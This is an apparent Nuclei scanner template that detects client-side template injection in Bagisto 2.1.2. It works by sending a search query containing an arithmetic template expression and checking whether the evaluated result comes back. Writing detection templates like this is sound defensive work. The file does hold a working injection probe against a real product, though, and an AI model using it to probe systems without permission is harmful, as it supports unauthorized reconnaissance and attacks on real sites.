id: bagisto-csti

info:
  name: Bagisto 2.1.2 Client-Side Template Injection
  author: s4e-io
  severity: medium
  description: |
    Bagisto is vulnerable to Client-Side Template Injection (CSTI), which allows an attacker to execute arbitrary code on the server.
  reference:
    - https://packetstormsecurity.com/files/179153/Bagisto-2.1.2-Client-Side-Template-Injection.html
    - https://demo.bagisto.com/
  classification:
    cpe: cpe:2.3:a:webkul:bagisto:*:*:*:*:*:*:*:*
    cwe-id: CWE-94
  metadata:
    max-request: 1
    vendor: webkul
    product: bagisto
    fofa-query: "Bagisto"
  tags: bagisto,csti,packetstorm,ssti,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bagisto-common/search?query={{2288*'9876'}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "22596288"
          - "bagisto"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"
# digest: 4b0a00483046022100e21bb2a99e038f95d17b3502936de9be74b46bd44d0e8dfb5ee998ae8a4246980221009c8302de1ca9ecf36320cb842e2b19fe2504ed5188dcb71f5c1a14592aa3f47c:922c64590222798bb761d5b6d8e72950